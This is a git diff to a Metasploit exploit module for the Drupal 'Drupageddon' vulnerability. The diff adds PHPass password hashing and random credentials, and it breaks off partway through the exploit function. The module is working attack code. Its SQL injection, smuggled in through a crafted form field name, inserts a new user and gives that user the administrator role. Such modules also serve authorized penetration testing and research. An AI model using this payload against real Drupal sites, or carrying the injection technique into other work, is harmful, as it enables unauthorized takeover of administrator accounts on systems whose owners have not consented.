diff --git a/modules/exploits/multi/http/drupal_drupageddon.rb b/modules/exploits/multi/http/drupal_drupageddon.rb index 217863614a..a692dd6b30 100644 --- a/modules/exploits/multi/http/drupal_drupageddon.rb +++ b/modules/exploits/multi/http/drupal_drupageddon.rb @@ -47,7 +47,8 @@ class Metasploit3 < Msf::Exploit::Remote register_advanced_options( [ - OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']) + OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']), + OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10]) ], self.class) end @@ -59,42 +60,69 @@ class Metasploit3 < Msf::Exploit::Remote datastore['ADMIN_ROLE'] end + def iter + datastore['ITER'] + end + + def itoa64 + './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' + end + + # PHPs PHPASS base64 method + def phpass_encode64(input, count) + out = '' + cur = 0 + while cur < count + value = input[cur].ord + cur += 1 + out << itoa64[value & 0x3f] + if cur < count + value |= input[cur].ord << 8 + end + out << itoa64[(value >> 6) & 0x3f] + break if cur >= count + cur += 1 + + if cur < count + value |= input[cur].ord << 16 + end + out << itoa64[(value >> 12) & 0x3f] + break if cur >= count + cur += 1 + out << itoa64[(value >> 18) & 0x3f] + end + out + end + def generate_password_hash(pass) # Syntax for MD5: # $P$ = MD5 - # one char representing the hash iterations (min 7 iterations) + # one char representing the hash iterations (min 7) # 8 chars salt # MD5_raw(salt.pass) + iterations - # MD5 base64 encoded and trimmed to 22 chars for md5 - - # VALID md5 for salt 12345678 and password test - #$P$812345678BWHQIqn5fZNJ.YWj7Kb39. - - pass = 'test' - iter = 10 - iter_char_base = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' - iter_char = iter_char_base[iter] - #salt = Rex::Text.rand_text_alpha(8) - salt = '12345678' + # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5 + iter_char = itoa64[iter] + salt = Rex::Text.rand_text_alpha(8) md5 = Rex::Text.md5_raw("#{salt}#{pass}") - 1.upto(iter) { + # convert iter from log2 to integer + iter_count = 2**iter + 1.upto(iter_count) { md5 = Rex::Text.md5_raw("#{md5}#{pass}") } - md5_base64 = Rex::Text.encode_base64(md5) + md5_base64 = phpass_encode64(md5, md5.length) md5_stripped = md5_base64[0...22] pass = "$P$#{iter_char}#{salt}#{md5_stripped}" - #puts pass + vprint_debug("#{peer} - password hash: #{pass}") - # return hardcoded password test for now - return '$S$D7hqYeEHohfN2JLg7L4JBa8P3HBX8vimkIehutyb3BptkWMMON/d' + return pass end def sql_insert_user(user, pass) - "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{(generate_password_hash(pass))}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users" + "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users" end def sql_make_user_admin(user) - "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'));" + "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))" end def extract_form_ids(content) @@ -109,7 +137,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit - # TODO: Password hashing function # TODO: Check if option admin_role exists via admin/people/permissions/roles # call login page to extract tokens @@ -128,9 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote form_build_id, form_token = extract_form_ids(res.body) user = Rex::Text.rand_text_alpha(10) - #pass = Rex::Text.rand_text_alpha(10) - # TODO: hardcoded for now - pass = 'test' + pass = Rex::Text.rand_text_alpha(10) post = { "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),